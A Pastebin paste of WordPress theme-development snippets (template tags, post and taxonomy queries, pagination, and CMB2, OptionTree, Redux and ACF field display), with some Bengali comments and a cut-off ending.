RUSSEL86

emergency code for wordpress

Apr 8th, 2015
428
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 29.62 KB | None | 0 0
  1. <?php
  2.  
  3. =====================
  4. TEMPLATE NAME
  5. ==================================
  6. <?php
  7. /*
  8. Template Name: Welcome Template
  9. */
  10. get_header(); ?>
  11.  
  12. <?php get_footer(); ?>
  13. // যদি ul এ class থাকে তাহলে Menu এর location তে গিয়ে লিখতে হবে
  14. <?php wp_nav_menu(
  15. array(
  16. 'theme_location' => 'main-menu',
  17. 'menu_class' => 'nav',
  18. 'menu_id' => 'nav',
  19. 'container' => 'nav',
  20. 'container_class' => 'upper-nav',
  21. 'link_before' => '<span class="menu-text">',
  22. 'link_after' => '</span>',
  23. 'fallback_cb' => 'king_main_menu'
  24. ) );
  25. ?>
  26.  
  27.  
  28. <?php echo get_template_directory_uri(); ?>
  29. <?php echo get_theme_file_uri()?>
  30. <?php the_post_thumbnail('slider-image'); ?>
  31. or
  32. <?php the_post_thumbnail('slider-image', array('class' => 'imgthumb')); ?>
  33. or
  34.  
  35. <?php if ( has_post_thumbnail() ): ?>
  36. <?php the_post_thumbnail('event-image'); ?>
  37. <?php else : ?>
  38. <img src="<?php echo get_template_directory_uri(); ?>/img/event_img1.png" alt="" />
  39. <?php endif; ?>
  40.  
  41. // শুধু ইমেজের লিঙ্ক :
  42. <?php $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'post-image' ); echo $image[0]; ?>
  43. or
  44. <?php $featured_image_url = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), '' ); ?>
  45. <img src="<?php echo $featured_image_url[0]; ?>" alt="" />
  46.  
  47. // image with src link , alt text, title text
  48. <img src="<?php $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), '' ); echo $image[0]; ?>" alt="<?php $image_alt = get_post_meta(get_post_thumbnail_id( $post->ID ), '_wp_attachment_image_alt', TRUE); echo $image_alt; ?>" title="<?php $image_title = get_the_title(get_post_thumbnail_id( $post->ID )); echo $image_title;?>">
  49.  
  50. //disable srcset from image wp responsive code
  51. add_filter( 'wp_calculate_image_srcset', '__return_false' );
  52.  
  53. //customizer content display
  54. <?php echo get_theme_mod( 'welcome_bgimage' ); ?>
  55.  
  56. <?php if($id === 0): ?> active<?php endif; ?>
  57. <?php esc_html_e( 'Skip to content', 'symbios' ); ?>
  58. <?php echo esc_url( home_url( '/' ) ); ?>
  59. <?php echo site_url(); ?>
  60. <?php echo bloginfo('url'); ?>
  61. <?php the_title(); ?>
  62. <?php the_date('F j, Y'); ?>
  63. <?php echo get_the_date('F j, Y'); ?>
  64. <?php the_time('g:i a'); ?>
  65. <?php the_content(); ?>
  66. <?php the_excerpt(); ?>
  67. <?php the_permalink(); ?>
  68. <?php the_author(); ?>
  69. <?php the_author_link(); ?>
  70. <?php get_sidebar(); ?>
  71. <?php get_template_part('file_name'); ?>
  72. <?php echo do_shortcode('');?>
  73. <?php comments_template( '', true ); ?>
  74. <?php comments_number('0', '1', '%'); ?>
  75. <?php echo wp_registration_url(); ?>
  76. <?php the_category(', '); ?>
  77. <?php wp_dropdown_categories('class=cat_select'); ?>
  78. <?php the_taxonomies(array('template' => '% %l')); ?>
  79. <?php echo get_the_term_list( $post->ID, 'project_cat', '', '', '' );?>
  80. <?php $terms_as_text = get_the_term_list( $post->ID, 'product_specialties', '', ', ', '' ) ; echo strip_tags($terms_as_text); ?>
  81. //This code for getting taxonomy with ul>li>a
  82. <?php
  83. $taxonomy = 'project_cat';
  84. $terms = get_terms('project_cat');
  85. ?>
  86. <ul id="home_links" class="fix">
  87. <?php
  88. foreach ($terms as $term) {
  89. $term_link = get_term_link( $term, 'project_cat' );
  90. if( is_wp_error( $term_link ) )
  91. continue;
  92. echo '<li><a href="' . $term_link . '">' . $term->name . '</a></li>';
  93. }
  94. ?>
  95. </ul>
  96.  
  97. //This code for Taxonomy query
  98. <?php $terms = get_terms( array(
  99. 'taxonomy' => 'representante_cat',
  100. 'hide_empty' => true,
  101. ) );
  102. if ( !empty( $terms ) && !is_wp_error( $terms ) ){
  103. foreach ( $terms as $term ) { ?>
  104. <option value="<?php echo $term->term_id; ?>" ><?php echo $term->slug; ?></option>
  105. <?php }
  106. } ?>
  107.  
  108. //This code for Child Taxonomy query without parent name with alphabetic title order
  109. $taxonomy_name = 'houseboats_cat';
  110. $parent_terms = get_terms( $taxonomy_name, array( 'parent' => 0, 'orderby' => 'slug', 'hide_empty' => false ) );
  111. echo '<ul>';
  112. foreach ( $parent_terms as $pterm ) {
  113. //Get the Child terms
  114. $terms = get_terms( $taxonomy_name, array( 'parent' => $pterm->term_id, 'orderby' => 'slug', 'hide_empty' => false ) );
  115. foreach ( $terms as $term ) {
  116. echo '<li><a href="' . get_term_link( $term ) . '">' . $term->name . '</a></li>';
  117. }
  118. }
  119. echo '</ul>';
  120.  
  121. //This code for readmore past in target.php
  122. <?php the_excerpt(50); ?>
  123.  
  124. /* for post excerpt latest. */
  125. <?php echo wp_trim_words( get_the_content(), 28, '...' ); ?>
  126.  
  127.  
  128. /* for Title excerpt . */
  129. <?php echo substr(the_title('', '', FALSE), 0, 37); ?>..
  130.  
  131. /* widget call to template*/
  132. <?php dynamic_sidebar('your_widgets_id'); ?>
  133. ----- or -----------------
  134. <?php if ( ! dynamic_sidebar( 'your_widgets_id' ) ) : ?>
  135. // past your default code -এখানে fallback data এর div টি দিতে হবে//
  136. <?php endif; ?>
  137.  
  138. /*for option tree theme option*/
  139. <?php
  140. $facebook = get_option_tree('facebook-link', '', false);
  141. ?>
  142. <?php echo $facebook; ?>
  143.  
  144. ---------or----------------
  145. <?php get_option_tree( 'upload_logo', '', true ); ?>
  146.  
  147.  
  148. //Condtional Data
  149. <?php if ( function_exists( 'get_option_tree') ) : if( get_option_tree( 'header-logo') ) : ?>
  150. <img src="<?php get_option_tree( 'header-logo', '', true ); ?>" alt="" />
  151. <?php else : ?>
  152. <img src="<?php echo get_template_directory_uri(); ?>/img/logo.png" alt="" />
  153. <?php endif; endif; ?>
  154.  
  155. /*for option tree meta box*/
  156. <?php
  157. $case_sub = get_post_meta($post->ID, 'case_sub', true);
  158. ?>
  159. <?php echo $case_sub; ?>
  160.  
  161. ---------or----------------
  162. <?php echo get_post_meta($post->ID, 'head_banner', true); ?>
  163.  
  164. /*for option tree metabox short code support */
  165. <?php
  166. $mixitup = get_post_meta($post->ID, 'mixitup', true);
  167. ?>
  168.  
  169. <?php echo do_shortcode($mixitup); ?>
  170.  
  171. //Post Query in index.php
  172. <?php if(have_posts()) : ?>
  173. <?php while (have_posts()) : the_post(); ?>
  174. <--Your Post Query here -->
  175. <?php endwhile; ?>
  176. <?php endif; ?>
  177. <!--or-->
  178. <?php if(have_posts()) : ?>
  179. <?php while (have_posts()) : the_post(); ?>
  180. <--Your Post Query here -->
  181. <?php endwhile; ?>
  182. <?php else : ?>
  183. <h3><?php _e('404 Error&#58; Not Found'); ?></h3>
  184. <?php endif; ?>
  185.  
  186.  
  187. //Custom page Query in page dynamic
  188. <?php while(have_posts()) : the_post(); ?>
  189. <?php the_content(); ?>
  190. <?php endwhile; ?>
  191.  
  192. <?php while(have_posts()) : the_post(); ?>
  193. <h2><?php the_title(); ?></h2>
  194. <?php endwhile; ?>
  195.  
  196. // my new Post Query
  197. <?php $my_post = new WP_Query(array(
  198. 'post_type' => 'post',
  199. 'posts_per_page' => 3,
  200. ));
  201. if($my_post -> have_posts()):
  202. while($my_post -> have_posts()): $my_post -> the_post(); ?>
  203. == dynamic content ==
  204. <?php endwhile; endif; wp_reset_query(); ?>
  205.  
  206. // my new Post Query with metaquery
  207. <?php $my_post = new WP_Query(array(
  208. 'post_type' => 'post',
  209. 'posts_per_page' => 3,
  210. 'meta_query' => array(
  211. array(
  212. 'key' => 'feature_checkbox',
  213. 'value' => 'on',
  214. 'compare' => 'LIKE',
  215. )
  216. )
  217. ));
  218. if($my_post -> have_posts()):
  219. while($my_post -> have_posts()): $my_post -> the_post(); ?>
  220. == dynamic content ==
  221. <?php endwhile; endif; wp_reset_query(); ?>
  222.  
  223. //Post Query with taxonomy query by multiple taxonomy
  224. <?php $benefit_cat = get_terms( 'benefit_cat');
  225. if ( ! empty( $benefit_cat ) && ! is_wp_error( $benefit_cat ) ):
  226. foreach($benefit_cat as $term): $tag_id = $term->term_id;?>
  227.  
  228. <div class="text-center"><strong><?php echo $term->name;?></strong></div>
  229.  
  230. <?php
  231. $benifit_post= new WP_Query(array(
  232. 'post_type' => 'benefit-items',
  233. 'posts_per_page' => -1,
  234. 'tax_query' => array(
  235. array(
  236. 'taxonomy' => 'benefit_cat',
  237. 'field' => 'term_id',
  238. 'terms' => $tag_id,
  239. ),
  240. ),
  241. ));
  242. if($benifit_post -> have_posts()):
  243. while($benifit_post -> have_posts()): $benifit_post -> the_post(); ?>
  244.  
  245. <div class="col-sm-6 col-md-4">
  246. <div class="benefit">
  247.  
  248.  
  249. <h4 class="benefit-title"><?php the_title();?></h4>
  250.  
  251. <?php the_content();?>
  252. </div>
  253. </div>
  254.  
  255.  
  256.  
  257. <?php endwhile; endif; wp_reset_query(); ?>
  258.  
  259. <?php endforeach; endif; ?>
  260.  
  261. //Post Query with taxonomy query by taxonomy id
  262. <?php $my_post = new WP_Query(array(
  263. 'post_type' => 'post',
  264. 'posts_per_page' => 3,
  265. 'tax_query' => array(
  266. array(
  267. 'taxonomy' => 'recipe_tx',
  268. 'field' => 'id',
  269. 'terms' => 37
  270. )
  271. )
  272. ));
  273. if($my_post -> have_posts()):
  274. while($my_post -> have_posts()): $my_post -> the_post(); ?>
  275. == dynamic content ==
  276. <?php endwhile; endif; wp_reset_query(); ?>
  277.  
  278. // my new Post Query for multiple size/style post
  279. <?php
  280. $post_count = 1;
  281. $my_query = new WP_Query(array(
  282. 'post_type' => 'post',
  283. 'posts_per_page' => 7
  284. ));
  285. if($my_query->have_posts()):
  286. while($my_query->have_posts()): $my_query->the_post();
  287.  
  288. if($post_count == 1): ?>
  289. == dynamic content for post one size ==
  290. <?php elseif($post_count == 2 || $post_count == 3): ?>
  291. == dynamic content for post another size ==
  292. <?php else: ?>
  293. == dynamic content for post another size ==
  294. <?php endif; $post_count++; endwhile; endif; wp_reset_query(); ?>
  295.  
  296. //Custom Post Query in index.php
  297. <?php
  298. global $post;
  299. $args = array( 'posts_per_page' => -1, 'post_type'=> 'working-method', 'department_cat' => 'Commerical', 'p' => '30', 'orderby'=> 'title', 'order' => 'ASC' );
  300. $myposts = get_posts( $args );
  301. foreach( $myposts as $post ) : setup_postdata($post); ?>
  302. // Your Post Query here -->
  303. <?php endforeach; ?>
  304.  
  305. //Custom Post Query for pagenavi support
  306. <?php
  307. $temp = $wp_query;
  308. $wp_query = null;
  309. $wp_query = new WP_Query();
  310. $wp_query->query('showposts=6&category_name=Beauty&post_type=post'.'&paged='.$paged);
  311. while ($wp_query->have_posts()) : $wp_query->the_post();
  312. ?>
  313.  
  314. // Your Post Query here -->
  315.  
  316. <?php endwhile; ?>
  317. <?php if (function_exists('wp_pagenavi')) { wp_pagenavi(); } else { include('navigation.php'); } ?>
  318. <?php
  319. $wp_query = null;
  320. $wp_query = $temp; // Reset
  321. ?>
  322.  
  323. ----------------------or --------------------------
  324. // Post Query for pagenavi support
  325. <?php query_posts('post_type=post&post_status=publish&posts_per_page=30&paged='. get_query_var('paged')); ?>
  326. <?php if(have_posts()) : ?>
  327. <?php while (have_posts()) : the_post(); ?>
  328. // Your Post Query here -->
  329. <?php endwhile; ?>
  330. <?php endif; ?>
  331. <?php if (function_exists('wp_pagenavi')) { wp_pagenavi(); } else { include('navigation.php'); } ?>
  332.  
  333. ----------------------or --------------------------
  334. <?php
  335. $term_ids = get_queried_object()->term_id;
  336. $my_post = new WP_Query(array(
  337. 'post_type' => 'business-items',
  338. 'posts_per_page' => 10,
  339. 'paged' => get_query_var('paged'),
  340. 'tax_query' => array(
  341. array(
  342. 'taxonomy' => 'business_mycat',
  343. 'field' => 'id',
  344. 'terms' => $term_ids
  345. )
  346. )
  347. ));
  348. while($my_post -> have_posts()): $my_post -> the_post(); ?>
  349.  
  350. // Your Post Query here -->
  351. <?php endwhile;
  352. $total_pages = $my_post->max_num_pages;
  353. $big = 999999999;
  354. if ($total_pages > 1){
  355. $current_page = max(1, get_query_var('paged'));
  356. $list.= '<nav class="page-nav">';
  357. $list.= paginate_links(array(
  358. 'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ),
  359. 'format' => '?paged=%#%',
  360. 'current' => $current_page,
  361. 'total' => $total_pages,
  362. 'prev_text' => 'Prev',
  363. 'next_text' => 'Next'
  364. ));
  365. $list.= '</nav>';
  366. echo $list;
  367. }
  368. wp_reset_query();?>
  369.  
  370.  
  371. // Post Query for search page post count
  372. <?php
  373. if(isset($_GET['s'])){
  374. $search_keyword = $_GET['s'];
  375. }else{
  376. $search_keyword = "";
  377. }
  378. $my_post = new WP_Query(array(
  379. 'posts_per_page' => 4,
  380. 's' => $search_keyword,
  381. ));
  382. if($my_post -> have_posts()):
  383. while($my_post -> have_posts()): $my_post -> the_post(); ?>
  384. // single post content
  385. <?php endwhile; ?>
  386. <?php else : ?>
  387. <div class="blog_page_search_left fix" style="width:100%;text-align:center">
  388. <h2>No More Post</h2>
  389. </div>
  390. <?php endif; ?>
  391. =======================================
  392. /*Display CMB2 file_list item*/
  393. ----------------------------------
  394. <?php
  395. $images = get_post_meta($post->ID, 'light_image', true);
  396. foreach( $images as $image ) {
  397. echo '
  398. <img src="' . $image. '" alt="" />';
  399. }
  400. ?>
  401. / Display CMB2 file_list item with image title its mainly needed for lightbox
  402. <?php
  403. $images_list = get_post_meta($post->ID, 'galery_list', true);
  404. foreach( $images_list as $attachment_id => $attachment_url ) {
  405. $attachment_title = get_the_title($attachment_id);
  406. echo '<a title="'.$attachment_title.'" href="' . $attachment_url. '"></a>';
  407. } ?>
  408.  
  409. /*Display CMB2 checkbox field with condition*/
  410. ----------------------------------
  411. <?php
  412. $idd = get_the_ID();
  413. $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), '' );
  414. $video_url= get_post_meta($idd, 'video_url', true);
  415. $video_check= get_post_meta($idd, 'video_checkbox', true);
  416. if($video_check == 'on'){
  417. $img_linkk = $video_url;
  418. $imag_clss = 'mfp-iframe';
  419. } else{
  420. $img_linkk = $image[0];
  421. $imag_clss = 'gallery-items';
  422. } ?>
  423. <a class="<?php echo $imag_clss; ?>" title="<?php the_title();?>" href="<?php echo $img_linkk; ?>"></a>
  424.  
  425. ---------- or -------------
  426. <?php $pdfpop = get_post_meta($post->ID, 'pdf-pop', true); ?>
  427. <?php if($pdfpop == 'on'):?>
  428. //condition content
  429. <?php else :?>
  430. //default content
  431. <?php endif; ?>
  432.  
  433. /*Display CMB2 checkbox field with condition into query*/
  434. ----------------------------------
  435. 'meta_query' => array(
  436. array(
  437. 'key' => 'feature_checkbox',
  438. 'value' => 'on',
  439. 'compare' => 'LIKE',
  440. ),
  441. ),
  442.  
  443. /*Display CMB2 select field with condition*/
  444. ----------------------------------
  445. <?php
  446. $idd = get_the_ID();
  447. $select_big = get_post_meta($idd, 'select_big', true);
  448. if($select_big == 'Big'){
  449. $namdilam = 'grid-item--width2';
  450. } else{
  451. $namdilam = 'small_grid';
  452. }
  453. ?>
  454. <?php
  455. if($select_big == 'Big'){
  456. the_post_thumbnail('gallr-big');
  457. } else{
  458. the_post_thumbnail('galler-small');
  459. }
  460. ?>
  461.  
  462. //display content when cm2 checkbox checked
  463. <?php $pdfpop = get_post_meta($post->ID, 'pdf-pop', true); ?>
  464. <?php if($pdfpop == 'on'):?>
  465. //condition content
  466. <?php else :?>
  467. //default content
  468. <?php endif; ?>
  469.  
  470.  
  471. /*Display CMB2 Date field*/
  472. ----------------------------------
  473. <?php
  474. $date = get_post_meta($post->ID, 'light_image', true);
  475. echo date("d/m/y", $date );
  476. ?>
  477.  
  478.  
  479. /*Display CMB2 Group item*/
  480. ----------------------------------
  481.  
  482. <?php
  483. $meta_entries_pre = get_post_meta( get_the_ID(), 'repeat_group', true );
  484. $meta_entries_int = array_reverse( $meta_entries_pre );
  485. $meta_entries = array_slice( $meta_entries_int, 0, 3 );
  486. if( ! empty( $meta_entries ) ) { ?>
  487.  
  488. <div class="escrts_testimonials_content fix">
  489.  
  490. <?php foreach ( (array) $meta_entries as $key => $entry ) {
  491. $product_name = $product_description = $meta_link = '';
  492. if ( isset( $entry['author_testimonial'] ) ) $product_name = $entry['author_testimonial'];
  493. if ( isset( $entry['testimonial_desc'] ) ) $product_description = $entry['testimonial_desc'];
  494. if ( isset( $entry['product_image'] ) ) $product_image = esc_html( $entry['product_image'] ); ?>
  495. <li>
  496. ?>
  497. <div class="escorts_single_testimonial fix">
  498. <div class="escorts_test_cont fix">
  499. <p>“<?php echo $product_description; ?>”</p>
  500. <img src="<?php echo $product_image; ?>" alt="" />
  501. </div>
  502. <div class="escorts_test_owner fix">
  503. <p>– <?php echo $product_name; ?></p>
  504. </div>
  505. </div>
  506. <?php } ?>
  507. </div>
  508. <?php } ?>
  509.  
  510.  
  511.  
  512.  
  513.  
  514. ====================================
  515. // for redux framework theme options
  516. ----------------------------------
  517. <?php global $my_theme; echo $my_theme['theme-favicon']; ?>
  518. ---- for image upload -------
  519. <?php global $my_theme; echo $my_theme['theme-favicon']['url']; ?>
  520.  
  521. /* Redux Framework Slides display */
  522. ----------------------------------
  523. <?php
  524. global $my_theme;
  525. $reduxmid_widgets = $my_theme['home-widgetar'];
  526. foreach($reduxmid_widgets as $reduxmid_widget): ?>
  527.  
  528. <div class="txt-cont">
  529. <h3><?php echo $reduxmid_widget['title'];?></h3>
  530. <div class="txt">
  531. <p> <span>
  532. <a href="<?php echo $reduxmid_widget['url'];?>">
  533. <img src="<?php echo $reduxmid_widget['image'];?>" alt="" title="" />
  534. </a></span><?php echo $reduxmid_widget['description'];?>
  535. </p>
  536. </div>
  537. </div>
  538.  
  539. <?php endforeach; ?>
  540.  
  541. /* Redux Framework Gallery display */
  542. ----------------------------------
  543. <?php
  544. global $my_theme;
  545. $reduxgallery = $my_theme['osprey-image'];
  546. $reduxgallerywe = explode (',', $reduxgallery);
  547. foreach($reduxgallerywe as $myPhotoID):
  548. ?>
  549. <img src="<?php echo wp_get_attachment_url( $myPhotoID ); ?>" alt="" class="standard"><br>
  550. <?php
  551. endforeach; ?>
  552.  
  553. =======================================
  554. /* Hide Theme option Menu from wordpress dashboard Appearance*/
  555. ----------------------------------
  556. add_filter( 'ot_use_theme_options', '__return_false' );
  557.  
  558.  
  559. =======================================
  560. /*Option Tree Framework {Type Slider}*/
  561. ----------------------------------
  562. for metabox slider type query code fpr owl slider
  563. ----------------------------------
  564.  
  565. //this code paste in metabox.php file
  566. array(
  567. 'id' => 'spyr_demo_slider',
  568. 'label' => __( 'Slider', 'text-domain' ),
  569. 'desc' => __( 'Your description', 'text-domain' ),
  570. 'type' => 'slider',
  571. )
  572.  
  573. //this code paste in template.php file
  574. <?php
  575. $spyr_demo_slider = get_post_meta( $post->ID, 'spyr_demo_slider', true );
  576.  
  577. echo '<div id="owl-demo" class="owl-theme">';
  578. foreach( $spyr_demo_slider as $slide ) {
  579. echo '<div class="item"><img src="'. $slide['image'] .'" width="100%" height="auto"
  580. alt="'. $slide['description'] .'" title="'. $slide['title'] .'" /></div>';
  581. }
  582. echo '</div>';
  583.  
  584. ?>
  585.  
  586. //for Theme option slider type query code fpr owl slider
  587. ----------------------------------------------
  588.  
  589. //this code paste in template.php file
  590. <?php
  591. $spyr_demo_slider = ot_get_option( 'spyr_demo_slider' );
  592.  
  593. echo '<div id="owl-demo" class="owl-theme">';
  594. foreach( $spyr_demo_slider as $slide ) {
  595. echo '<div class="item"><img src="'. $slide['image'] .'" width="100%" height="auto"
  596. alt="'. $slide['description'] .'" title="'. $slide['title'] .'" /></div>';
  597. }
  598. echo '</div>';
  599.  
  600. ?>
  601.  
  602.  
  603.  
  604. /*Option Tree Framework {Type gallery}*/
  605. ----------------------------------
  606.  
  607. array(
  608. 'id' => 'your_id',
  609. 'label' => __( 'Slider', 'text-domain' ),
  610. 'type' => 'gallery',
  611. ),
  612.  
  613. <?php
  614.  
  615. if ( function_exists( 'ot_get_option' ) ) {
  616. $images = explode( ',', ot_get_option( 'your_id', '' ) );
  617. if ( ! empty( $images ) ) {
  618. foreach( $images as $id ) {
  619. if ( ! empty( $id ) ) {
  620. $full_img_src = wp_get_attachment_image_src( $id, 'your_crop_image' );
  621.  
  622. echo '<li><img src="' . $full_img_src[0]. '"/></li>';
  623.  
  624. }
  625. }
  626. }
  627. }
  628. ?>
  629. -----------------------------
  630. //for metabox gallery
  631. ----------------------------
  632. <?php
  633. if ( function_exists( 'ot_get_option' ) ) {
  634. $images = explode( ',', get_post_meta( get_the_ID(), 'feature_gallery', true ) );
  635. if ( !empty( $images ) ) {
  636. foreach( $images as $id ) {
  637. if ( !empty( $id ) ) {
  638. $full_img_src = wp_get_attachment_image_src( $id, 'post-image-galley' );
  639. echo '<li><img src="' . $full_img_src[0]. '"/></li>';
  640. }
  641. }
  642. }
  643. }
  644. ?>
  645.  
  646.  
  647. /*Option Tree Framework {Type List item}*/
  648. ----------------------------------
  649. <?php
  650. array(
  651. 'id' => 'id',
  652. 'label' => __( 'Item', 'option-tree-theme' ),
  653. 'desc' => __( 'Add your Items....!!' ),
  654. 'std' => '',
  655. 'type' => 'list-item',
  656. 'rows' => '',
  657. 'post_type' => '',
  658. 'taxonomy' => '',
  659. 'min_max_step'=> '',
  660. 'class' => '',
  661. 'condition' => '',
  662. 'operator' => 'and',
  663. 'settings' => array(
  664. array(
  665. 'id' => 'id_input',
  666. 'label' => 'Name',
  667. 'desc' => 'description',
  668. 'type' => 'text',
  669.  
  670. ),
  671. )
  672. ),
  673. ?>
  674.  
  675. <?php
  676.  
  677. $list_item = ot_get_option( 'id', array() );
  678. if ( !empty( $list_item ) ) {
  679.  
  680. echo '<div>';
  681. foreach( $list_item as $name ) {
  682.  
  683. echo '<div>'.$name['title'].'</div>
  684. ';
  685.  
  686. }
  687. echo '</div>';
  688. }
  689. ?>
  690.  
  691. //Option Tree Framework {Type – On/Off}
  692. ---------------------------------------
  693. array(
  694.  
  695. 'label' => 'On/OFF',
  696. 'id' => 'your_id',
  697. 'type' => 'on-off',
  698. 'desc' => 'Activate/Deactivated.',
  699. 'std' => 'on',
  700. 'section' => 'name'
  701.  
  702. ),
  703.  
  704. <?php ?>
  705.  
  706. <?php if ( ot_get_option('id') != "off" ) { ?>
  707.  
  708. keep your code here where you want to give on/off function
  709.  
  710. <?php } ?>
  711.  
  712. ========
  713. // for metabox
  714. <?php ?>
  715.  
  716. <?php if ( get_post_meta( $post->ID, 'money_back_id', true ) != "off" ) { ?>
  717.  
  718. eep your code here where you want to give on/off function
  719.  
  720. <?php } ?>
  721.  
  722.  
  723. //this code is for specific page metabox
  724. --------------------------------------------
  725. function custom_meta_boxes() {
  726. $price_page_meta_box = array(
  727. 'id' => 'price_page_meta_box',
  728. 'title' => 'Pricing Page Table Information',
  729. 'desc' => '',
  730. 'pages' => array( 'page' ),
  731. 'context' => 'normal',
  732. 'priority' => 'high',
  733. 'fields' => array(
  734. array(
  735. 'label' => 'Pricing Page Table Head',
  736. 'id' => 'pric_table_head',
  737. 'std' => '',
  738. 'type' => 'textarea'
  739. ),
  740. )
  741. );
  742.  
  743. $post_id = $_GET['post'] ? $_GET['post'] : $_POST['post_ID'];
  744. $template_file = get_post_meta($post_id, '_wp_page_template', TRUE);
  745.  
  746. if ($template_file == 'price-newmeta.php') {
  747. ot_register_meta_box( $price_page_meta_box );
  748. }
  749. }
  750.  
  751. ------------------------------------
  752. CMB2 radio Button with condition
  753. ----------------------------
  754. <?php $cdn_ratings = get_post_meta($post->ID, 'testi_rating', true);
  755.  
  756. if($cdn_ratings == 'one_star'){
  757. echo '<span class="fa fa-star"></span>';
  758. }elseif($cdn_ratings == 'two_star'){
  759. echo '<span class="fa fa-star"></span><span class="fa fa-star"></span>';
  760. }elseif($cdn_ratings == 'three_star'){
  761. echo '<span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span>';
  762. }elseif($cdn_ratings == 'four_star'){
  763. echo '<span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span>';
  764. }elseif($cdn_ratings == 'five_star'){
  765. echo '<span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span>';
  766. }else{
  767. echo '<span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span>';
  768. } ?>
  769. ------------------------------------
  770. ACF radio Button with condition
  771. ----------------------------
  772. $cdn_ratings = get_field('provider_rating');
  773.  
  774. if($cdn_ratings == 1){
  775. echo '<span class="rating"><i class="fa fa-star"></i><i class="fa fa-star-o"></i><i class="fa fa-star-o"></i><i class="fa fa-star-o"></i><i class="fa fa-star-o"></i></span>';
  776. }elseif($cdn_ratings == 2){
  777. echo '<span class="rating"><i class="fa fa-star"></i><i class="fa fa-star"></i><i class="fa fa-star-o"></i><i class="fa fa-star-o"></i><i class="fa fa-star-o"></i></span>';
  778. }else{
  779. // No ratings
  780. }
  781.  
  782. ------------------------------
  783. //search form query code
  784. -----------------------------
  785. <div class="form_search_area fix">
  786. <?php $unique_id = esc_attr( uniqid( 'search-form-' ) ); ?>
  787. <form role="search" method="get" class="search-form" action="<?php echo site_url(); ?>/">
  788. <label class="serch_formlabel" for="<?php echo $unique_id; ?>">
  789. <?php echo _x( 'Search for:', 'label', 'mytheme' ); ?>
  790. </label>
  791. <input type="text" name="s" id="<?php echo $unique_id; ?>" class="search_input" placeholder="<?php echo esc_attr_x( 'Search &hellip;', 'placeholder', 'mytheme' ); ?>" value="<?php echo get_search_query(); ?>" />
  792. <input type="submit" value="search" class="search_submit" />
  793. </form>
  794. </div>
  795.  
  796. //Changing The Number Of Results Per Page for search page
  797. function king_search_posts_per_page($query) {
  798. if ( $query->is_search ) {
  799. $query->set( 'posts_per_page', '10' );
  800. }
  801. return $query;
  802. }
  803. add_filter( 'pre_get_posts','king_search_posts_per_page' );
  804.  
  805. // get page link dynamically
  806. =============================
  807. function king_get_portfolio_id() {
  808. $portfolio_ID = "";
  809. $pages = get_pages(array(
  810. 'meta_key' => '_wp_page_template',
  811. 'meta_value' => 'page-portfolio.php',
  812. 'hierarchical' => 0,
  813. 'post-type' => 'page',
  814. 'sort_column' => 'post_date',
  815. 'number' => 1
  816. ));
  817. foreach($pages as $page){
  818. $portfolio_ID = $page->ID;
  819. }
  820. return $portfolio_ID;
  821. }
  822.  
  823. <?php
  824.  
  825. $portfolio_page_id = king_get_portfolio_id();
  826. if($portfolio_page_id) { ?>
  827. <div class="nav-portfolio <?php if(!get_next_post()){ echo 'inactive'; }?>">
  828. <a href="<?php echo esc_url( get_permalink($portfolio_page_id) ); ?>"></a>
  829. </div>
  830. <?php }
  831.  
  832. ?>
  833. ============================================================
  834. //--------- Change the title and move the Featured Image box ------------
  835. ----------------------------------
  836. function customposttype_image_box() {
  837. remove_meta_box('postimagediv', 'your-post-type', 'side');
  838. add_meta_box('postimagediv', __('Banner Image - The image that appears at the top of the page, size should be 760 x 155 pixels'), 'post_thumbnail_meta_box', 'your-post-type', 'normal', 'high');
  839.  
  840. }
  841. add_action('do_meta_boxes', 'customposttype_image_box');
  842.  
  843.  
  844. //current page taxonomy name and info
  845. ----------------
  846. $termss = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) );echo $termss->name;
  847. $terms = get_terms( 'product_cat', $termss );
  848. if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
  849. foreach ( $terms as $term ) {
  850. $category_name = $term->name;
  851. $category_description = $term->description;
  852. $category_link = esc_url( get_term_link( $term ) );
  853. echo $category_name;
  854. echo $category_description;
  855. echo $category_link;
  856. //your content
  857.  
  858. }
  859. }
  860.  
  861. //current child page parent taxonomy name and info
  862. ----------------
  863. $termss = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) );
  864. $parent_id = $termss->parent;
  865. $parent_term = get_term_by('id', $parent_id, 'category');echo $parent_term->name;
  866. $terms = get_terms( 'product_cat', $parent_term );
  867. if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
  868. foreach ( $terms as $term ) {
  869. $category_name = $term->name;
  870. $category_description = $term->description;
  871. $category_link = esc_url( get_term_link( $term ) );
  872. echo $category_name;
  873. echo $category_description;
  874. echo $category_link;
  875. //your content
  876.  
  877. }
  878. }
  879. // query for only parent category info with ACF category metafield
  880. ---------------------------
  881. $args = array( 'hide_empty=0' );
  882. $terms = get_terms( 'product_cat', array( 'parent' => 0 ),$args );
  883. if ( ! empty( $terms ) && ! is_wp_error( $terms ) ) {
  884. foreach ( $terms as $term ) {
  885. $category_name = $term->name;
  886. $category_description = $term->description;
  887. $category_link = esc_url( get_term_link( $term ) );
  888. $category_banner = get_field( "category_banner", $term );
  889.  
  890. //content
  891. echo '<a href="'.$category_link.'">'.$category_name.'</a>';
  892. }
  893. }
  894.  
  895. //get taxonomy link
  896. -------------------------------------------
  897. $category_link = esc_url( get_term_link( $child_term ) );
  898. //get taxonomy terms for parent and child
  899. -------------------------------------------
  900. foreach( get_terms( 'products-category', array( 'hide_empty' => false, 'parent' => 0 ) ) as $parent_term ) {
  901. // display top level term name
  902. echo $parent_term->name . '<br>';
  903.  
  904. foreach( get_terms( 'products-category', array( 'hide_empty' => false, 'parent' => $parent_term->term_id ) ) as $child_term ) {
